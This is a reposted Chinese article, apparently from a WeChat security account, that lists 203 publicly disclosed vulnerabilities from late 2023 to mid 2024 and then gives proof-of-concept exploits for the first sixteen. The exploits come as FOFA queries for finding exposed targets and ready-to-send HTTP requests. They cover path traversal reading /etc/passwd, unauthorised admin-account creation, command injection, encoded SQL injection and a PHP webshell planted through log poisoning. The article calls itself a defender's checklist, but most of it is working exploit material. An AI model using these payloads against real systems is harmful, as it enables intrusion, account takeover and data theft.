互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
) @8 U% l$ H: c% _. A道一安全 2024-06-05 07:41 北京
* l( u' w. s( c  Q以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
6 \/ v1 k1 c4 ]) F  Y9 m4 H
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
, x3 @; ~6 x& e9 i, f$ Q$ V% C
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
' K* ?; y/ K! z4 ~; d9 U

; R- B5 I1 o. K. i6 e3 I2 f声明
" }- ], J7 j+ T4 w: ]8 Y
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
& C$ |( r/ a6 ?" V/ b: \
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


9 D% U- n2 w6 r! b9 o0 \% q5 x
! A: d+ Q# q1 Z- o& a5 O目录

/ X3 f3 `0 a& x3 v% a+ D, `01
- z6 F, W% m4 J7 k; d  j: w% Z3 N
6 q# ?6 v( N0 [% e. c1. StarRocks MPP数据库未授权访问
6 `& c7 n% J8 K1 c' g2. Casdoor系统static任意文件读取
$ h+ z. i+ B- v3. EasyCVR智能边缘网关 userlist 信息泄漏
+ s% [$ O6 e, o' l2 P4. EasyCVR视频管理平台存在任意用户添加
9 \. g* u7 y+ |( H5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
( R* I& G0 ^# x7. 鸿运主动安全监控云平台任意文件下载
- w7 T9 H. J% i8 ]  j* Y5 Q+ p8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
6 e, k3 h9 S4 ~+ j11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
+ w, K# o/ C- h: J" w9 F14. 华夏ERP（jshERP）敏感信息泄露
) x' F) }$ c' _' I/ t2 x# `; l$ K15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
: {9 u! ^7 C9 p18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
% a$ @0 _( v- N/ @% w20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 r; @5 }/ U# L  x0 N$ g23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
! Q$ \: j5 R, ~5 W2 X24. 用友NC 6.5 accept.jsp任意文件上传
' t* P$ H, H) n7 @6 Y1 s25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
# y. Y! T8 s% e) o28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
0 p5 N& W  S# w& A  N31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
( N) K6 E% v) f: v& m- W6 O6 a6 w3 K41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
& K* n* Y8 p( p43. 用友GRP-U8 userInfoWeb SQL注入致RCE
/ r) a1 l8 k3 {6 G44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
0 T5 q, ]  z: i  x) g6 X" r( Z53. 迪普 DPTech VPN Service 任意文件上传
5 B% a# ~# t  }$ O: }0 m. q' n54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
5 d- w) V3 s1 }: U' S* P& f, W! Y4 w59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
4 P6 l- ^% o& i7 G5 r61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
4 r# I( c& M8 ]7 ~2 S66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
- G2 R; b1 ^2 }; X  D9 N68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
/ G, n6 {( X' W6 U: q. m' P71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 f. W  `# T1 ?; f# d8 E% |72. 致远OA getAjaxDataServlet XXE
0 T- x$ B; C. Y73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
' B* t8 i1 S/ j$ g  }76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
5 M- b# w: s: r( r: }78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
* K# M4 f7 L  M9 Y5 Q80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" g9 }, d% S' x6 {7 i82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
. x& y+ }9 g9 J* ?0 V0 c84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 u; O2 ^/ X" e& C- e85. SysAid On-premise< 23.3.36远程代码执行
2 E+ W4 t% j- `- M' n' f: m  d2 v86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
: B9 o, |. i0 X3 S6 v88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
& j4 u. x# R- e  Q3 A: p- q% N3 S' L89. 致远互联FE协作办公平台editflow_manager存在sql注入
# s2 C: U6 N3 x90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
3 v0 J  T+ v1 U2 o/ m' G4 Q0 O92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
  N& y7 O' c- z; |5 ~; B96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
8 u/ O6 M8 D1 y3 l# l( ~99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
9 R0 l( ]4 p) W3 i110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
/ o4 d3 X/ c# a9 U4 v/ x$ i6 M/ @112. WordPress Plugin NotificationX SQL 注入
9 c' |+ Y1 z, d4 E. Q- ^113. WordPress Automatic 插件任意文件下载和SSRF
: _, z& T* D  O* X$ z114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
/ c1 v" K" I- B116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 ~9 u9 B3 ?; d6 [2 X119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 B/ g8 R( q- S/ @0 q' c122. 北京百绰智能s200管理平台/importexport.php sql注入
! ^1 q7 ~6 d% K5 P- G123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
5 O6 X% }: s0 A* ^! f9 K2 N; B126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
3 S5 _& q& m. B7 w: c+ E% n' Q9 N128. Adobe ColdFusion 反序列化
) X" X2 I3 n8 ]3 p. V, `+ M7 a129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
. q/ i$ B/ v# h# A131. Mini-Tmall <=20231017 SQL注入
# K3 U3 r* a2 s" k. `0 u132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* p( \+ l; y8 |* R. V133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
1 I* @: k( @" v+ C9 i" E8 j5 T( e139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
$ m9 w% I) Y% a" f" m9 ^6 a142. CMSV6车辆监控平台系统中存在弱密码
* u2 {6 k( Y) j0 N143. Netis WF2780 v2.1.40144 远程命令执行
" n3 W. A3 X$ Z$ O% Y/ A% Q) ~- ~144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
% z$ y+ [- Z0 v2 Y+ V0 Y146. MajorDoMo thumb.php 未授权远程代码执行
4 r# B! n  c4 T+ h& o, _8 g147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
. d. `' P" N! r; ?, D149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
8 R' C" s; X% J4 l5 S151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
" l; |% @9 `- V- ~7 f( \160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ U- x6 T8 _, M, [# E: }# A165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
- l2 P/ n  t2 E( u' M( w172. DT-高清车牌识别摄像机任意文件读取
7 b! w/ f! v( f! C5 B173. Check Point 安全网关任意文件读取
* K6 h9 t0 N$ K7 [5 y8 }174. 金和OA C6 FileDownLoad.aspx 任意文件读取
/ U. t  n+ ^9 W' z( M175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 ?9 l! c4 J& {4 N$ n183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
! @+ B0 h' N) D9 `4 [, `184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
. x9 w* y4 R/ ~  z188. 叁体-佳会视频会议 attachment 任意文件读取
' ~4 \: X8 @; T7 w0 i8 K0 [: r189. 蓝网科技临床浏览系统 deleteStudy SQL注入
6 H" X3 A) l* m; E) p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 M5 [1 I2 M) [* @& m9 p7 h0 e; a191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
) y% P% D6 D8 Y8 x/ e0 n192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
0 @- V+ i3 k9 H5 C+ a2 ]8 R193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
8 I7 ~" E1 {$ M196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
5 y7 A# L& W, X3 ^200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

% M7 M6 m0 B6 NPOC列表
; k1 X8 A3 V+ c3 N3 {
" E, I; R! \' Q9 F02
/ n! J$ Y3 O8 q
1. StarRocks MPP数据库未授权访问
) V$ ~% W! w- n, q0 SFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
' m( [8 M2 C8 a/ r2 xHost: URL
6 _5 K: n7 a& [. ^$ h
# ]0 h9 F) V( w
" p! Y$ u; J# P" u2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
8 i- x; L6 d6 t4 s- zGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
' r+ I6 g1 d- o* w/ THost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 T2 c9 ~- h- E) t+ b9 ]4 o' A" AConnection: close
Accept: */*
/ y& d' q- E# j4 @  v/ R# HAccept-Language: en
- ]  B! @! _# [6 l. v& G, lAccept-Encoding: gzip


8 n5 i* v6 \, z8 a, U! t3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
/ d8 {9 u  U3 G" i6 J1 _, P/ MGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
- A# p4 E6 U0 Y* N* R2 [1 k+ U
) o, q( u1 {( H+ {  t- V
. q- E9 n1 A4 m$ W4. EasyCVR视频管理平台存在任意用户添加
: C* @( b1 I6 c: C$ X7 RFOFA ：title="EasyCVR"

" o  M" N5 @8 F9 dpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
: q! C' F8 Q: I1 e3 cContent-Type: application/x-www-form-urlencoded; charset=UTF-8
& a: Y- k$ i1 |5 L0 Y; h
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
" e1 e& g3 ]6 `8 @: t  [6 z3 u

/ c1 J1 j7 O, e/ S# l! R5. NUUO NVR 视频存储管理设备远程命令执行
' Z+ l! ~- R  ?( x: Q- e% R) U2 CFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
$ i# ^4 |2 {, _# D) V5 ~) THost: xx.xx.xx.xx
: O5 C( ~; X) F( p

+ V9 A1 A0 I/ q1 |) l0 l1 P! V6. 深信服 NGAF 任意文件读取
0 O( a. B, k8 k0 lFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
, ^: {4 e0 K7 P# g3 @1 xHost:

. L, N, |) l+ N5 z9 A
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
" n/ X, k6 g) z% a# dGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
' g. k. w, X% Y4 @$ ]; g. p' e$ Z
$ \5 D+ R$ |" A6 r  s7 Y; E
0 \- X. K- Y! R) U8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
0 n" M- |! t; C) N5 [4 b' }% L默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* p$ a; h$ r% F; R
------WebKitFormBoundaryxbgjoytz
& W& Q, M" R4 q" c4 {Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
7 ^! i" i% p% e% h. K2 h9 LContent-Disposition: form-data; name="wifiRebootrange"
+ f2 k* l! B, [  T3 \0 C0 _
- @$ ~0 e0 g% M& c1 z* F$ g12:00; id;
+ G# u3 Y& z1 G# o6 p$ \( k------WebKitFormBoundaryxbgjoytz
; w: n) b. F4 x8 |5 M  ~Content-Disposition: form-data; name="wifiRebootendrange"
% ~) k6 _% x. Y* L+ v7 t, Q  E5 s9 {
%s:
1 Z' L7 L+ V5 V! ^& |" N------WebKitFormBoundaryxbgjoytz
: [5 N# q; d5 ^6 U. W* U$ F- aContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
: {8 Z; p3 E; [" X3 ~' iHost: x.x.x.x
4 a/ ?8 h& E/ j; `) Y. \3 a3 K$ K: Z
1 X5 r8 I; N/ q& Y8 ~9 \7 M4 }
) b1 F) c0 }0 ]" X# Z2 |payload为下列语句的二次Url编码

$ f- I# z- V5 G5 T' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
; S! e/ B; k6 b6 X5 e7 b7 S- k) [+ b" z+ _* C
2 u0 M- e5 T, F% {10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 S+ ^0 m& v3 `FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
) M7 w% n. A3 U' F6 p7 KPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
; ]1 \0 D) \' b% zHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
+ b; L2 m# U; W/ tContent-Length: 197
. ~6 K; ^. p' S& c3 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  g! X# O4 _5 t& m# D5 r" DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( e; E" x. E: p8 JContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
/ H* N6 y# R+ g6 n4 A6 g% j" x) `& S% T------WebKitFormBoundaryxdgaqmqu--

# f' l, ~" p3 |$ B) z
: K% [, j4 T0 K  _4 K- l2 z4 i1 x11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
5 N% K  [# U8 gPragma: no-cache
) r! h3 Y7 d9 p2 `7 q8 x7 PCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ g1 `1 e# T: c3 z- E2 ~Accept-Encoding: gzip, deflate
3 O, k8 x: J; z' e+ t( yAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
0 ], ^+ x" Q2 A' f/ E$ v: J1 m

* R6 u. X# W) {1 s8 @1 K3 O12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
2 r  B6 W- @+ `3 f+ T3 CGET /session/login HTTP/1.1
' N& z1 d. Q9 J' ^Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
5 X( J* j; ], `, {Accept-Encoding: gzip
9 u  J" r3 w- x3 w  T% @: h6 f
* C, Q" i' L# e0 }. _; z
2 m9 J3 ?/ C& I6 X  E0 f( ?$ L响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
6 D4 S0 a7 c$ X$ D# tConnection: close
) [- A7 ^1 x% A) u" lCache-Control: no-store, no-cache, must-revalidate
6 m! L" W7 j/ g7 P; r" FContent-Type: text/html; charset=UTF-8
9 A+ T8 J0 W" B% d$ LDate: Tue, 24 Oct 2023 09:34:28 GMT
6 V- J8 C* w. @- ^# Z8 EExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
" O! u* _# F* V! q! }# I+ wPragma: no-cache
# y5 g8 w- ^8 f; D+ M8 yServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
2 d; k2 w; b: d
2 Q! p- Z3 W: i' U: W: C
9 ^: r* ~& T" K- ~POST请求，执行函数并进行base64编码
4 Q# w& H/ I, M5 J* w$ zPOST /session/login HTTP/1.1
: `2 j1 w) l1 _# l  l' \+ G( r) ~4 bHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
$ V. r: [6 `; m0 H8 }; f9 }Content-Type: application/x-www-form-urlencoded
6 b+ Q- s* E6 k, i& q( N9 qCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
# Q3 G8 i6 T3 D, \" zAccept-Encoding: gzip
7 s' ^# S# [4 G" |( e, \
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
, z# x/ I- n. |6 KGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
: h6 D, r- _: k6 W$ sCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
7 B3 o0 S9 M) `, s* m+ M' y& PAccept-Encoding: gzip

1 E1 F9 x3 U( B  }6 X
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
" c3 O, [  ~3 KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 i, a/ Y/ v2 Z! h9 GConnection: close
' R3 T% L' J7 a6 W* m% l9 p) gAccept: */*
) _; S) V) y# j/ \0 p, U  aAccept-Encoding: gzip
) e4 y6 R2 E4 U/ B! }

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
9 J0 z  e4 E& `( F& b: bGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
% L# T: ^5 {  N4 T0 E  a* F7 FHost: x.x.x.x
1 Y( o& y* N& `" rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ M/ r: l2 B& c) K0 kConnection: close
1 m0 m, q! i1 P' KAccept: */*
1 \0 _5 S( S0 m7 i3 pAccept-Language: en
Accept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
4 e6 `. K2 `6 T7 s2 a3 P2 i) qCVE-2024-0490
! ~5 i  z" v( B+ f/ l; rFOFA：body="jshERP-boot"
# C# o/ e' Y8 H9 ^" _泄露内容包括用户名密码
0 J8 Z# _- Q) z! O* |GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
. O9 ~* g7 i: I$ ^9 LHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
3 [) I% {1 ^6 X% }; o4 d1 `Connection: close
: g# V4 o* n; cAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( y) x3 f1 Q+ a" l. T5 tAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
; n- j+ o8 d0 X7 y0 b9 ]( {

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
! Z7 x  J1 z% F/ P: Dpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) T* Z9 [/ `7 y, W7 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
6 b# L8 I5 R: \! \- g3 @Accept: */*
6 Q! ~' V& z% E- |Accept-Language: en
Accept-Encoding: gzip
. j- U' {6 L6 l4 S) L
